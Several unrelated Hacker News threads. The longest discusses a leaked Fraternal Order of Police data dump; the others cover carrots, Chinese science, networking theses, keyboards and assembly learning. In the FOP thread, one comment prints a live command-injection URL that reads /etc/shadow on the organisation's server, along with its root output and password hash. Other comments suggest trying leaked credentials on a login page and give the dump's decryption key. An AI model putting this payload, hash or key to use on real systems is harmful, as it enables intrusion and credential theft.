Fraternal Order of Police Data Dump - <AUTHOR> https://fop.thecthulhu.com/ <comment><USER2> Speaking as a taxpayer, it does not seem to me at all clear why collective bargaining agreements between public servants and city governments should be able to be private documents at all. We pay the bills, after all.

<comment><USER3> I agree. Collective bargaining for public workers is overall absurd, IMHO. It injects a layer (the union) between the voters/citizens and the public employees. We don't get to elect/control the union or see their dealings? BS!

<comment><USER4> So labor should just take whatever management and politicians feel like giving them like obedient little servants? How has that worked out in the past? Do we feel that the civil service is sufficiently isolated from rapidly changing political pressures to ensure the rights of workers and to avoid the inherent issues involved in political control of a large group of government workers?

<comment><USER5> > So labor should just take whatever management and politicians feel like > giving them like obedient little servants?

When you're the boss (which you are when it comes to public workers), that's exactly what you want. Do you wish your cops were something other than "obedient little servants?" Doesn't it seem like the whole problem with cops in the U.S. is that they don't think they work for you?

<comment><USER6> I want all labor to be paid appropriately, cops included.

I _do not_ want them protected when they've violated the law, or are grossly negligent in their duties.

Can't unions negotiate for fair wages while also throwing the bad apples to the wolves?

<comment><USER7> > Can't unions negotiate for fair wages while also throwing the bad apples to > the wolves?

No, not really. Its the nature of the beast that unions need to protect all their member. A noble goal with a noble origin, but it gets pretty perverted in the extreme its been taken to. For example, school union members that are no longer allowed to teach students but cannot be fired (search on cases in both LA and NYC). You would think rationality would prevail but then you run into the other problem.

Union membership totals determine power. More members, more money to lobby, which gives you more influence. There is a reason the California Correctional Peace Officers Association continues to advocate for laws that will put more people in jail.

At this point, for government workers, we as a country would be much better off without government worker's unions.

<comment><USER8> It's the nature of the beast that corporations exploit their staff. Or something.

If you have extreme situations like this, something is badly wrong, but removing all unions isn't the solution. Instead, add more: convince people to join a more moderate union.

<comment><USER7> > It's the nature of the beast that corporations exploit their staff. Or > something.

I mentioned corporations not once, and this is about transparency in government.

> If you have extreme situations like this, something is badly wrong, but > removing all unions isn't the solution. Instead, add more: convince people > to join a more moderate union.

I would contend that there is no such thing as a moderate union in this situation. I would be curious if you had any history of "convince people to join a more moderate union"? I am inclined to think rayiner is correct and no incentive exists.

Beyond this, we are there employers and the people who pay their wages. An organization interfering with transparency and accountability does not serve the public good.

<comment><USER8> I assumed corporations were relevant as much of this discussion has been saying unions should be banned for the public sector, implying that they're acceptable in the private sector. It's also where unions started.

Anyway.

At my previous job, in the British public sector, there were three unions who represented the staff, and I joined the one the others in my office had joined. Initially, this was because I appreciated the support a union had given someone in my family against a bad manager. Later, I stayed in the union in support of those with much less skill than me — the union was campaigning against "zero hours" contracts¹.

A year or two ago, the government imposed significant cuts. (Contrary to a lot of posts in this thread, government budget for salaries isn't unlimited.) I found out that my union seemed to be prolonging the negotiations unnecessarily, by being needlessly difficult — submitting 1000-page documents in the last hour of a 3-month consultation, for example, which had no more content than a 5 page document on the first day. Most staff I spoke to were more interested in knowing whether their job was ending, rather than hanging on for an extra month's pay during negotiations. (We already had 1-3 month notice periods.) I left the union, and didn't join another. Several colleagues left, and joined the more reasonable union.

For another example, the RMT is the more extreme union representing London Underground employees, ASLEF is more moderate (there are others, these are the two biggest, and not all staff are in a union).

Quoting from [2], just as an example, "The RMT has attacked a fellow Tube union for failing to call strike action as part of the ongoing Night Tube dispute. The RMT accused ASLEF of being "happy" with alleged assurances that London Underground (LU) would put forward new work rosters for drivers." And just look at the language in the RMT newsletter "only resolute determination will prevail...".

RMT goes on strike much more often, and make a lot of noise about it, but most of the staff in that union are less essential (ticket checking, platform staff, etc) and the trains keep on running. The train drivers generally belong to ASLEF, which is still a powerful union, but rarely tries to defend drunk drivers or similar.

[1] [https://en.wikipedia.org/wiki/Zero- hour_contract#United_King...](https://en.wikipedia.org/wiki/Zero- hour_contract#United_Kingdom)

[2] [http://www.ibtimes.co.uk/tube-strikes-rmt-attacks-train- driv...](http://www.ibtimes.co.uk/tube-strikes-rmt-attacks-train-drivers- union-aslef-over-night-tube-dispute-1516170)

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> Haven't dled the dump yet, but if it contains credentials some of them will probably work at [https://email.fop.net/postfixadmin/users/login.php](https://email.fop.net/postfixadmin/users/login.php)

cve-2012-0811 yo

Clearly it's no wonder that these guys got hacked.

See also: [https://news.ycombinator.com/item?id=10990193](https://news.ycombinator.com/item?id=10990193) [http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/et...](http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/etc/shadow&html=true&pass=secret)

      uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
      Linux data.fop.net 2.6.18-407.el5 #1 SMP Wed Nov 11 08:12:41 EST 2015 x86_64 x86_64 x86_64 GNU/Linux
      root:$1$04KmnGtM$V0naSp94MiVAQUpoBH.fI1:16828:0:99999:7:::

thanks to user thisisthepolice for the above ;)

Edit: I sure hope it wasn't someone from here that turned the server off. That's, like, several felonies.

<comment><USER10> That's illegal.

EDIT: In case the OP gets rm'd:

[https://archive.is/fyHfC](https://archive.is/fyHfC)

[https://web.archive.org/web/20160128190623/https://news.ycom...](https://web.archive.org/web/20160128190623/https://news.ycombinator.com/item?id=10989900)

[http://www.webcitation.org/6escqonB6](http://www.webcitation.org/6escqonB6)

<comment><USER9> Yeah possibly, but this SHOULD be illegal:

[http://www.fop.net/servlet/listing/news_article?user_id=-1&n...](http://www.fop.net/servlet/listing/news_article?user_id=-1&nocache=1765055&XSL=xsl_pages/members/member_news_listing.xsl)

Note the convenient "Admin Tools" button :)

<comment><USER10> Wow what the fuck. Who programmed their website?

<comment><USER9> A time traveller.

(Just to clarify, from the past.)

<comment><USER10> [http://www.fop.net/servlet/display/donation?XSL=xsl_pages/pu...](http://www.fop.net/servlet/display/donation?XSL=xsl_pages/public/foundation.xsl)

Yes hello, I'd like to donate with my credit card number over HTTP. Quick, nobody tell PCI!

<comment><USER11> No it's okay it's a servlet.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> > _Don 't bother with legal threats or trying to get UK law enforcement to > seek revenge. This is me playing nice. If you want to go nuclear with me, > feel free to do so, but trust me when I say you might want to think long and > hard before you do._

> _I 'm not known for bluffing, and I know many more of your secrets. About > 18TB all in all actually, all unpublished yet._

I wonder what's in the unpublished docs, and why they're remaining unpublished.

<comment><USER13> Who has time to go through 18TB of data? The guy probably hasn't even viewed the data. Maybe it includes information from PC hard drives and he doesn't want to just release it without review.

<comment><USER14> A topic analysis using LDA would be pretty neat. It would take a really really long time with 18TB of text but in general it would be pretty cool to get an overall picture of what, generally, is in those docs. For those parties who are interested. Generally speaking of course..

</comment></comment></comment><comment><USER10> In case the main story goes down, here are several mirrors:

[https://web.archive.org/web/20160128183444/https://fop.thect...](https://web.archive.org/web/20160128183444/https://fop.thecthulhu.com/)

[http://www.webcitation.org/6esai2UHY](http://www.webcitation.org/6esai2UHY)

[https://archive.is/https://fop.thecthulhu.com/](https://archive.is/https://fop.thecthulhu.com/)

</comment><comment><USER15> Ten days ago he was in custody and released by the UK police (and Intelligence folks)

[https://www.thecthulhu.com/insurance- release/](https://www.thecthulhu.com/insurance-release/)

Why? Possibly due to his release of his "insurance" dump - a dump containing unknown stuff.

Why release this bigger archive after then? No idea but I'm not touching either with any type of stick!

<comment><USER16> Do we have any third-party reports on what happened there?

</comment></comment><comment><USER17> Wow. This is going to be interesting... The page even includes the key to decrypt the encrypted fields in the dump. Is pg_crypto that easy to crack, or is it more likely the key was stored somewhere in plaintext (e.g., email, pdf, etc.)?

<comment><USER18> The key is "Nipper47". Only 8 characters in the standard "short english-ish word starting with a capital letter followed by a couple numbers"-pattern. I'd say it's less that pg_crypto is easy to crack, and more that the key is trivially insecure and easy to brute-force. But sibling is probably right that it was just sitting there.

<comment><USER19> 8 chars, including numeric, uppercase and lowercase...

With sufficient GPU resources (being in possession of a working rig, cloud- based or standalone and air-gapped, all powered-up and running operable software) and talent (experience, and familiarity with an existing framework and an established code base), I'm thinking one person could brute force that, in the privacy of their own home, in a trivial amount of time.

<comment><USER18> > one person could brute force that, in the privacy of their own home, in a > trivial amount of time.

Yes. And that's assuming your pattern (26+26+10)^8 ~ 2e14, but the basic character pattern here is 26 * 26^5 * 10^2 ~ 3e10, almost 10000 times weaker. This is an extremely common pattern, most passwords don't follow a uniform distribution of those "numeric, uppercase and lowercase" characters.

<comment><USER20> Or if nipper is in your dictionary (likely, there's a wikipedia page with that title and there's only a handful of million articles, trivial to add every title, or even every word), then assuming a dictionary of 10 million words, the pattern is 2 _e7_ 10*10, another order of magnitude reduction.

</comment></comment></comment></comment></comment><comment><USER21> Anyone care to give a summary of what the data dump contains?

<comment><USER22> I haven't downloaded it yet but it seems to be email and server(?) dumps from the FOP website.

FOP = Fraternal Order of Police

[https://en.wikipedia.org/wiki/Fraternal_Order_of_Police](https://en.wikipedia.org/wiki/Fraternal_Order_of_Police)

Additionally, the hacker made a Q/A-style blog post which will answer your questions:

[https://www.thecthulhu.com/fraternal-order-of-police-data- du...](https://www.thecthulhu.com/fraternal-order-of-police-data-dump/)

</comment></comment><comment><USER23> Is there any background here or are there any summaries of what is contained in the documents?

<comment><USER24> Don't have any background, but from what I've seen so far (a small handful of the tons of docs) it's collective bargaining agreements between various police unions and the cities they operate in. Haven't seen one more recent than 2012.

<comment><USER25> Search for "stingray" and "body cameras" in all docs please.

<comment><USER26> drone money drugs swimming pool lawsuit lawyer illegal destroy ruin idiot river tax fbi atf cia nsa irs

Lots of words to search for.

<comment><USER25> Sure,

But currently Stingray and Body Cameras are the two biggest contentious technology issues with police at the moment.

Police in Chicago were caught destroying cameras and mics to avoid audio recording and reporting.

Stingrays are seemingly getting reported weekly.

So, I think they are a good focus.

But - make a word cloud and see whats largest.

<comment><USER27> Been looking through it for a bit - found pretty much no mention in here except for a few vague legalese.

Found this gem, though: Would you send me the AVL info. Our Chief has indicated to us, not only can he track our locations from his home computer and Blackberry using AVL, but can access the on board camera system as well. This includes the ONLY interior car camera that ONLY monitors the driver. That's right, it doesn't monitor the criminal in the back seat, just the driver. He says this can only be done when the system is active such as on a car stop. I am not aware of any incident in which he has done this.\r\n\r\nHe has also installed cameras in the station that only target the receptionst in the enclosed office and the squad room where officers do their paperwork. On occassion he has called the night dispatcher and commented on what she was having for dinner and called the station to comment that he can see officers talking and not typing. BIG BROTHER IS WATCHING.\r\n\r\nI understand these cameras have been placed for "security" purposes. The building is posted to inform people that video monitoring is in use. Is there a limit to their use? Re:Contract language covering use of AVL for discipline

<comment><USER28> That gem sounds like a union member asking his representative about overreaching power of management for a purpose not traditionally thought of as why cops need cams, so...checks out to me.

</comment></comment></comment></comment></comment></comment></comment><comment><USER29> We should expect the FBI to become involved if there is any credence to this, and the domain name thecthulhu.com (Namecheap with WhoisGuard) should be taken down shortly.

Heads will roll, that much is certain.

Does anyone have a file listing for this? Is it just a PGDATA dump, or are there more interesting things?

<comment><USER30> > Does anyone have a file listing for this? Is it just a PGDATA dump, or are > there more interesting things?

[http://pastebin.com/CZXikytZ](http://pastebin.com/CZXikytZ)

<comment><USER31> > ├── GrandLodge_DB_backup.tar

Don't the Freemasons call their clubhouse a Grand Lodge?

<comment><USER32> More than one group uses that varnacular, but yeah that's a good context clue. Freemasonry is frequently popular among law enforcement types.

</comment></comment></comment></comment><comment><USER33> Thanks for this! I hate the FOP with a passion - it's a RICO as far as I'm concerned and I look forward to the day when its leaders are rotting in jail cells.

</comment><comment><USER34> Without espousing an opinion one way or the other, I think the point that is most striking to me is the relatively civilized manner we're all discussing a contentious topic. Hat's off to hackernews readers for navigating tough issues with class!

</comment><comment><USER35> I was JUST solicited by phone on the day before yesterday, by our local FOP in Jupiter, FL.

Let me tell you how that went (I'll call the caller Albert, to avoid using his real name):

Albert: Hi, <my full name>. This is Albert from the Jupiter Police Department...

Me: Hi (...shit, did I cut somebody off and they called the cops?).

Albert: _[nothing for 3 seconds while I ruminate in my paranoia]_

Albert: Don't worry, there's nothing wrong. I'm calling about officers in need. I'm from the Fraternal Order of Police... Each year we... yata yata... we help officers that have been injured on the job and officers whose families are in need... can you help us out?

Me: _[how does this guy know my mobile phone number and full name, anyway]_

Me: Possibly.

... some back and forth - him trying to convince me that the only amount that can be accepted is $285. Me having patience, thinking about how, despite all the police brutality reports out there, etc., there are also a lot of public servants in need that are now doubly screwed by all the bad press, as a result of the few that do bad things, also how the Jupiter Police Department has always been really great compared to anywhere else I've lived... basically, I'm sympathizing with the officers, rather than wondering what this FOP organization is, and why they're being allowed to say they're calling FROM the Jupiter Police Department.

Me: Ok, I'll donate $90.

... quick discussion about check / payable to, etc...

Albert: Ok, I've got you at <my address>. Is that correct?

Me: _[what, does the police department give him the address from my license?]_

Me: Yes.

Albert: Ok, I'll have our guy come pick up the check tomorrow.

The call basically ends there, but I'm left with this uncomfortable "well, that guy seemed like a hustler to me" feeling. I do a quick search, pull up their website, and immediately find that they offer legal services, etc. Instantly, I'm thinking, "wait, I was just bamboozled into donating to a fund that is probably used for lobbying / bargaining, and for protecting police that are charged with murdering innocent people! I was donating to help officers directly in need!". I called back and cancelled the donation.

Organizations like this are, sadly, basically large gangs, and they only serve to ruin the establishments they "serve" by adding unnatural protections that lead to corruption and abuse.

Note: My full name is on my profile page. I only mask it here, in case this comment was, for some reason, copy/paste quoted on NYT or something ridiculous.

<comment><USER36> Did you ever figure out how they know your address?

<comment><USER35> No, but I did register a business in FL last year, so it could very well have been that.

</comment></comment></comment><comment><USER37> Seems rather impolite to be leaking all this data. Where's the benefit?

<comment><USER38> I think this is a fair question. From other comments it sounds like there are union agreements that may not have been available before, and it can be argued that the public should know what their governments have contracted with police unions. Another item mentioned in other comments is what looks like a forum database dump, so people could find out what the police say about various subjects when they expect nobody to hear.

</comment></comment><comment><USER39> Bookmarking this for future entertainment. I hope he got a dump of their emails...that's probably where most of the interesting stuff is.

<comment><USER39> If it's helpful, here's a good overview of why I'm experiencing Schadenfreude over this:

[http://www.theatlantic.com/politics/archive/2014/12/how- poli...](http://www.theatlantic.com/politics/archive/2014/12/how-police- unions-keep-abusive-cops-on-the-street/383258/)

<comment><USER40> Ugh I got about half way through that article and had to close the browser because it made me so angry.

</comment></comment></comment><comment><USER41> This planet will be pulverized by an asteroid before this 18TB is released in plain text for the entire world to freely peruse. The entire hacker/anonymous phenomenon is a complete fraud run by western intelligence/police agencies with the corporate media's cooperation.

</comment><comment><USER42> Ah, so that's where they hid all that undisclosed evidence! Thanks, Ed!

</comment><comment><USER43> I need more popcorn for this

</comment><comment><USER44> IMPORTANT: This is a collection of files from an anonymous hacker including file formats such as docx that are known for carrying malware. Safe handling means opening them only on a virtual machine with nothing of value inside it and no access to your internal network. You have been warned.

<comment><USER9> Oh come on, we might as well start posting this warning every time someone links to any files on HN.

In fact, websites are known for carrying malware.

Especially considering that at the point where you have the docs you have already opened the torrent, and torrent clients are known for being _super secure_

<comment><USER45> I don't think there's any harm in a warning for binary files distributed by someone who presumably broke the law to get them.

<comment><USER9> Did I say there's any harm? I just think it's silly, especially considering that binary content is constantly posted here.

<comment><USER45> Context matters.

<comment><USER9> And what makes the files in this context stand out as particularly dangerous?

I don't know what kind of attacks you work with but in my experience people usually try to be at least somewhat stealthy, this wouldn't be it.

And anyway, how would you even get those files without downloading the torrent in the first place? Sounds like you might be placing _a little_ unwarranted trust on your torrent client.

</comment></comment></comment></comment></comment></comment><comment><USER46> Security is just an illusion.

<comment><USER47> "We will make it more secure"

no, you will make it less insecure.

</comment></comment><comment><USER48> Every year a huge leak. 2015 it was HackingTeam, 2016 it seems to be the FOP.</comment>


Why are carrots orange? It is political - <AUTHOR> http://www.nextnature.net/2009/08/why-are-carrots-orange-it-is-political/ <comment><USER2> The article linked as the source (<http://www.carrotmuseum.co.uk/history5.html>) actually says that the William of Orange story is probably apocryphal:

 _"Though the stabilised orange carrot does date from around seventeenth century Netherlands, it is unlikely that honouring William of Orange had anything to do with it"_

</comment><comment><USER3> We've started getting yellow carrots in the Woodmans nearby. They're very clearly targeted because of their non-orange color, but they're quite good (partly because the brand carries good carrots, but these are a little sweeter).

People + Food + Color = weird.

<comment><USER4> Some foodstuffs company whose name I've forgotten tried to introduce yellow ketchup in my area a couple of years ago, but they failed pretty badly. I bought a bottle, and while it tasted just like the the red stuff, it just didn't look right. My 5 year old niece just flat out refused to eat it.

<comment><USER3> Yeah, and remember the green (and purple) Heinz sales? They didn't last long.

At the cost of duplicating my other comment, it fits here perfectly:

I hate to cry conspiracy theory, but I really do think that American culture in particular has been groomed to think and eat this way by food suppliers. When you can color / bleach something, you can hide flaws.

<comment><USER5> "I hate to cry conspiracy theory, but I really do think that American culture in particular has been groomed to think and eat this way by food suppliers."

I tend to consider conspiracy theories a last resort. It is not that they are never true, just that reaching for them first is a mental crutch. In this case, I would suggest that given the importance of food, one would rather expect evolutionary considerations to dominate how we feel about food colorations. It may be true that making food "look good" can be used to hide flaws, but I seriously doubt the concept of "looking good" comes from _training_. I would imagine it mostly comes from genes and common-sense-type- training.

(I assert this without proof, which is why I mentioned my conspiracy-theory metric. My point is that I don't see a need for the conspiracy theory choice here.)

<comment><USER3> Yeah, I generally agree. And the evolutionary standpoint makes sense, and is the logical counter to this. My main focus there isn't that we equate the two, it's that there's such a _strong_ connection. At least, as far as I can see. It could've grown from "that sells better, what if we do this", but it's still kinda strange, and I wonder if it's at least partly intentional.

'Tis just speculation, though. There are plenty of weird / weirder things in the world.

</comment></comment></comment></comment></comment><comment><USER6> I've had "heirloom" carrots a few times in Portland, OR. White and red ones, and all sorts of funky shapes. So they're coming back, the way heirloom varieties of other commoditized vegetables and fruits have (tomatoes, peppers, apples, berries, wild greens ...)

</comment><comment><USER7> Isn't beta carotene orange, and perhaps orange carrots are most popular because of this nutritional value?

<comment><USER8> i enjoyed this comment about the story on reddit:

 _Thoughts from a chemist here.

Orange carrots express beta carotene, purple carrots express anthocyanins, red carrots express lycopene in addition to some alpha- and beta-carotenes, and white carrots express few or no pigments.

I believe one way to produce an orange carrot from the conventional horticulture of purple, red, and white carrots, is to supress lycopene production in red carrots, leaving just carotene. Another way would be to take a faint orange (perhaps technically white) carrot and cause it to express those orange pigments at the high levels that purple carrots do._

</comment></comment><comment><USER9> We grow white carrots in our garden. They have a much smoother and much less earthy taste when raw. My kids love them pulled right out of the ground and washed off with the hose.

</comment><comment><USER10> Maybe it's just because I'm indoctrinated, but the orange carrots in the picture are the only ones that look tasty.

<comment><USER11> It's probably indoctrination. After all, what other orange foods do we eat? (except peppers, I guess)

<comment><USER12> Oranges, cantaloupe, sweet potatoes, squash, apricots, mango, peaches, papaya, pumpkin, and Kraft macaroni & cheese.

</comment></comment></comment><comment><USER13> The carrot is a lie?!

</comment><comment><USER14> And lets not get started on bananas...</comment>


Communism Might Last a Million Years - <AUTHOR> https://communemag.com/the-shield-of-utopia/ <comment><USER2> Nice, I always admired Ursula for being strict on political views yet very sensible in her writings.</comment>


China's Science Revolution - <AUTHOR> http://www.bbc.co.uk/news/resources/idt-0192822d-14f1-432b-bd25-92eab6466362 <comment><USER2> I've spent a good amount of my research career working on (and sometimes in) China, with and without Chinese collaborators, depending on the project, and I have reviewed a lot of research by Chinese scientists.

It is excellent and remarkable how fast they are improving. In the late 1990s and early 2000s, Western scientists (mostly American and French scientists) were brought in quite a bit to help modernize the system, and it has helped substantially. The institutional resources and raw brain power available have meant rapid progress, especially once the Chinese grad students and faculty got up to date on the bleeding edge of research.

However, as with economic development, there are some substantial structural changes that need to happen in the transition from 'catch-up' growth to leadership. The biggest is a mind-set thing: There is _far_ more respect for authority and confirmation bias in Chinese research than Western (especially American) research. In so many papers, the researchers go out and get great data and do a bang-up job of analyzing it, and then conclude by saying the results support the old hypotheses of the senior faculty who lead the research institute or some old Western luminary, regardless of the outcome of the analyses. I'm not going to say here that science advances funeral by funeral, but I definitely think that undergrad/grad students who grow up scientifically hearing about the cutting edge theories are more capable than older scientists of integrating the new theory them into their view of the world and their mental database of observations. This is required to further refine, develop or reject the theories and advance the state of knowledge. When junior scientists are not encouraged to rock the boat, then science advances much more slowly. Hopefully as national and institutional self-confidence increases, then revisionism (i.e. telling your boss that he's wrong, or that Dr. Famous American is full of shit) will get stronger.

The second is that, at least in my field, it is becoming very hard for Westerners to collaborate with Chinese scientists, and particularly to do fieldwork in China. (Note that I am a geoscientist and have mostly worked in Xizang province in Tibet, which has its own sensitivity issues). But I think that the government is deciding that the Chinese are caught up and then disallowing access to limit international competition. I can definitely see how they could feel exploited in a 'scientific imperialism' sort of way, and this is not at all restricted to China. But while this may lead to a more satisfying distribution of scientific fame for the Chinese, it also limits the rate at which the science advances. And Tibet is one of the richest areas in the world for studying tectonics and earthquakes, because it is vast, very active, and has essentially no vegetation so the quality and quantity of data is very high. Limiting access definitely means slowing down the rate at which we learn to understand earthquakes and earthquake hazards, and while there is a global downside (much of this knowledge applies to earthquakes everywhere), the downside is the highest for the Chinese citizens living near the faults that are not receiving as much study due to fewer researchers.

<comment><USER3> Having worked with chinese researchers in chemistry/biophysics, I agree with the observations about authority and confirmation bias. There's a discernable trend between, say, a postdoc who did undergrad & grad in china, a postdoc who did grad in the US, and a postdoc who did undergrad & grad in the US. This is not a problem confined to china, and to be sure there are many american scientists who can't seem to work up a healthy antiauthoritarianism (and things are getting worse here as certain public "scientists" are becoming authority figures)

</comment></comment><comment><USER4> I find these reports both exciting and deeply reassuring.

As research in the west becomes more politicised and regulated (the biosciences especially), having serious Chinese investments in science, with aspirations to become world leaders, is precisely what we need to promote competition and drive progress.

Another example is the use of CRISPR gene editing in human embryos. While we are dragging our feet ruminating over the ethical implications (largely ignoring the prospect of curing countless diseases), the Chinese have used the opportunity to get a head start.

As China continues to progress, it won't be long until we have another "Sputnik moment". If we won't fund and regulate science rationally, hopefully fear and national pride will motivate us instead.

<comment><USER5> Really? I've been waiting for over a decade for China and India to step onto the world stage. We should encourage and help more. These two countries with a combined 2.6 billion people should be able to easily outpace the research in the west. Does it matter if basic research is done in the US, India, or China?

Imagine if China and India could each double the amount of research done by the US.

<comment><USER6> Four bully's instead of two surely make for a nicer school yard.

</comment></comment></comment><comment><USER7> While the world is traditionally looking at the West to lead new scientific advancements, they might be wrong. India and especially China are heavily investing into their science projects which are costing less than comparable projects in the US or the EU. India today launched a model of the reusable space shuttle prototype that took 5 years to develop and cost less than $15 million. How is that awesome? On the other hand, the US spends more on the defense R&D than on all other sectors combined (health, energy, space, environment etc). The EU's science projects often suffer from project decentralization, bureaucracy and member countries' varying public approval rating that are affected by political issues: Greek debt, migrant flood, situation in Ukraine, terrorism etc.

<comment><USER8> The problem with India though is that the country's education system was started by the British to recruit low level civil servants. I suspect that type of education system would be biased towards creating low level office workers and not pioneers of science and it continues to this day. The basic principles of science and critical thinking are still not a priority in our education system.

<comment><USER9> The way you put it, it almost seems like the whole Indian education system has remained the same since the British left. There has been a lot of reform and progress towards making science and mathematics more accessible to the masses.

</comment></comment></comment><comment><USER10> I just finished reading volume 1 of _The Three Body Problem_ ([https://en.wikipedia.org/wiki/The_Three- Body_Problem](https://en.wikipedia.org/wiki/The_Three-Body_Problem)) and started vol 2. Could the big radio telescope be a case of life imitating art :-)

P.S. Fantastic book BTW, quite different from general SF fare.

<comment><USER11> I had exactly the same thought, thinking of that dish sending out a signal instead...

</comment></comment><comment><USER12> [http://www.npr.org/2011/08/03/138937778/plagiarism-plague- hi...](http://www.npr.org/2011/08/03/138937778/plagiarism-plague-hinders- chinas-scientific-ambition)

I don't believe I can put it better than the article above,

"These days, China is lavishing money on Mr. Science. But without the checks and balances provided by Mr. Democracy, the corruption plaguing the rest of the system is infecting the reputation of Chinese science. "

<comment><USER13> Counter point: Dictatorship Germany in WW2 produced many scientific advancements.

<comment><USER14> Sure. Granted, they killed a whole bunch of people for e.g. the medical advancements. And the advancements are at least of dubious value[1].

And other advancements were... not as impressive as elsewhere. See e.g. nuclear science.

But the upside of science under a dictatorship is that you _will_ publish lots of papers claiming successes, for personal health reasons, so you've got that going for you.

[1] [http://www.nejm.org/doi/full/10.1056/NEJM199005173222006](http://www.nejm.org/doi/full/10.1056/NEJM199005173222006)

<comment><USER15> Warnher-von-Braun (and co.), who brought the fledgling "nazi space science" from the post-war Germany to the US.

if we follow the time-lines of the space exploration of NASA after 1960 and before 1960, his contributions are conspicuously evident.

Example: [https://en.wikipedia.org/wiki/Saturn_%28rocket_family%29](https://en.wikipedia.org/wiki/Saturn_%28rocket_family%29)

</comment></comment></comment></comment><comment><USER16> Thank goodness for these comments. The article structure makes it almost impossible to read. What on earth are they thinking?</comment>


Ask HN: Any ideas for a MS thesis in networking? - <AUTHOR>

Hi,
  I am starting on my MS thesis this year. I am looking around for some good areas in networking to do my thesis in. I worked in VANETs ( Vehicular Ad-Hoc Networks ) for my BS degree. I didn't find the field that fun though. Can someone suggest some good topics in networking to work in, you know just throw in some ideas, then I will research about them more to see what I like and if it is good for a one-year MS thesis work. Please ! <comment><USER2> SCTP, where one or more endpoints are mobile and occasionally disconnected. <http://www.ietf.org/rfc/rfc2960.txt>

Or protocols for personal area networks; for instance the suite of protocols that would be needed for a personal soundtrack to follow you from your home to your vehicle to your office w/ multiple endpoints some public, some private.</comment>


Ask HN: Does classic Thinkpad like keyboard portable come as bluetooth keyboard - <AUTHOR> I just come across a [bluetooth keyboard](https://www.amazon.com/1byone-Foldable-Bluetooth-Keyboard-Smartphone/dp/B00VRCKK1Y). It looks nice. But chiclet keyboard is an issue.
Is a [classic Thinkpad like keyboard](http://www.thinkwiki.org/w/images/2/20/T430newkeyboard.jpg) available?
I am looking for a bluetooth keyboard to be used with my mobile devices. <comment><USER2> There are classic Thinkpad keyboards in the used market: [http://www.ebay.com/itm/NEW-Genuine-IBM-Lenovo-ThinkPad- USB-...](http://www.ebay.com/itm/NEW-Genuine-IBM-Lenovo-ThinkPad-USB-Keyboard- with-TrackPoint-SK-8855-US- English-/322671711154?epid=78134039&hash=item4b20bb93b2:g:-vgAAOSwvYZZnOnB)

With some hardware hacking a USB keyboard can _potentially_ be turned into a bluetooth device: [https://lifehacker.com/convert-any-usb-keyboard-to- bluetooth...](https://lifehacker.com/convert-any-usb-keyboard-to-bluetooth- with-a-diy-adapte-1786324129)

</comment><comment><USER3> I think you are looking for this.

[https://www.amazon.com/ThinkPad-Compact-Bluetooth- Keyboard-T...](https://www.amazon.com/ThinkPad-Compact-Bluetooth-Keyboard- TrackPoint/dp/B00C32FWJC)

<comment><AUTHOR> 2 things: 1\. Its not classic keyboard 2\. Its not compact like the link I shared ([https://www.amazon.com/1byone-Foldable-Bluetooth-Keyboard- Sm...](https://www.amazon.com/1byone-Foldable-Bluetooth-Keyboard- Smartphone/dp/B00VRCKK1Y))

P.S.: Sorry for my formatting screwup in the main post.</comment></comment>


Ask HN: How did you learn x86-64 assembly? - <AUTHOR> I'm an experienced C/C++ programmer and I occasionally look at the generated assembly to check for optimizations, loop unrolling, vectorization, etc. I understand what's going on the surface level, but I have a hard time understand what's going on in detail, especially with high optimization levels, where the compiler would do all kinds of clever tricks. I experiment with code in godbolt.org and look up the various opcodes, but I would like to take a more structured way of learning x86-64 assembly, especially when it comes to common patterns, tips and tricks, etc.<p>Are there any good books or tutorials you can recommend which go beyond the very beginner level? <comment><USER2> It sounds like you are off to a great start. Afaik there really isn't any 400 or 500 level material for advanced assembly programming. You could read Goto BLAS [1] or mkl-dnn [2]

I find reading assembly output from compilers to be a good start, it also helps you develop a mental model of what compilers expect in terms of stack hygiene.

Before godlbolt, [https://godbolt.org/](https://godbolt.org/) there was `gcc -S` and now there is [3]

        gcc -Wa,-adhln -g <file.c>

for interleaving source and assembly output. Keep the reference manual close and write lots of little experiments to confirm your findings.

[1] [https://en.wikipedia.org/wiki/GotoBLAS](https://en.wikipedia.org/wiki/GotoBLAS)

[2] uses macros and intrinsics [https://github.com/oneapi- src/oneDNN](https://github.com/oneapi-src/oneDNN)

[3] [https://stackoverflow.com/questions/3867721/is-there-any- c-c...](https://stackoverflow.com/questions/3867721/is-there-any-c-compiler- to-show-you-linked-program-in-asm)

</comment><comment><USER3> Programming from Ground Up, by Jonathan Bartlett.

[https://download- mirror.savannah.gnu.org/releases/pgubook/Pr...](https://download- mirror.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf)

I was able to learn a lot about low level programming. The problems with this book: the examples are in Intel syntax (I find AT&T's syntax better to read and it's more common to use), and not in x86-64.

Also, Hacking: The Art of Exploitation ([https://nostarch.com/hacking2.htm](https://nostarch.com/hacking2.htm)) have a nice introduction on Assembly, from the standpoint of a person doing reverse engineering, debugging with GDB or shellcoding.

</comment><comment><USER4> Http://agner.org is a good resource once you know the basics. It explains a lot of how microprocessors interpret instructions, caches, decoding, microinstructions. Assembler is not really a language, it's deeply connected to the material. Agner explains a lot of those things.

This might be what you want : [https://www.agner.org/optimize/#manuals](https://www.agner.org/optimize/#manuals)

</comment><comment><USER5> This gives you somewhat of an idea of what that highly optimized assembly is doing [https://ocw.mit.edu/courses/electrical-engineering-and- compu...](https://ocw.mit.edu/courses/electrical-engineering-and-computer- science/6-172-performance-engineering-of-software-systems-fall-2018/) and the lectures are recorded.

<comment><AUTHOR> this is gold, thank you!

</comment></comment><comment><USER6> First of all I learned Z80 assembly, because BASIC was too slow. Then I moved to Intel and 8086 assembly!

That's not so helpful, so more seriously the way that I started was to spend a lot of time reading tutorials and writing sample programs. Back in the day I read virus "magazines" like 40Hex, because they had decent examples of intel assembly and often useful discussion.

These days I've been revisiting things writing a couple of simple compilers:

[https://github.com/skx/math-compiler/](https://github.com/skx/math-compiler/)

[https://github.com/skx/bfcc/](https://github.com/skx/bfcc/)

The first was mostly written because I'd not done anything recently with floating-point, and the second because compiling brainfuck programs to assembly seemed like it would result in fast programs.

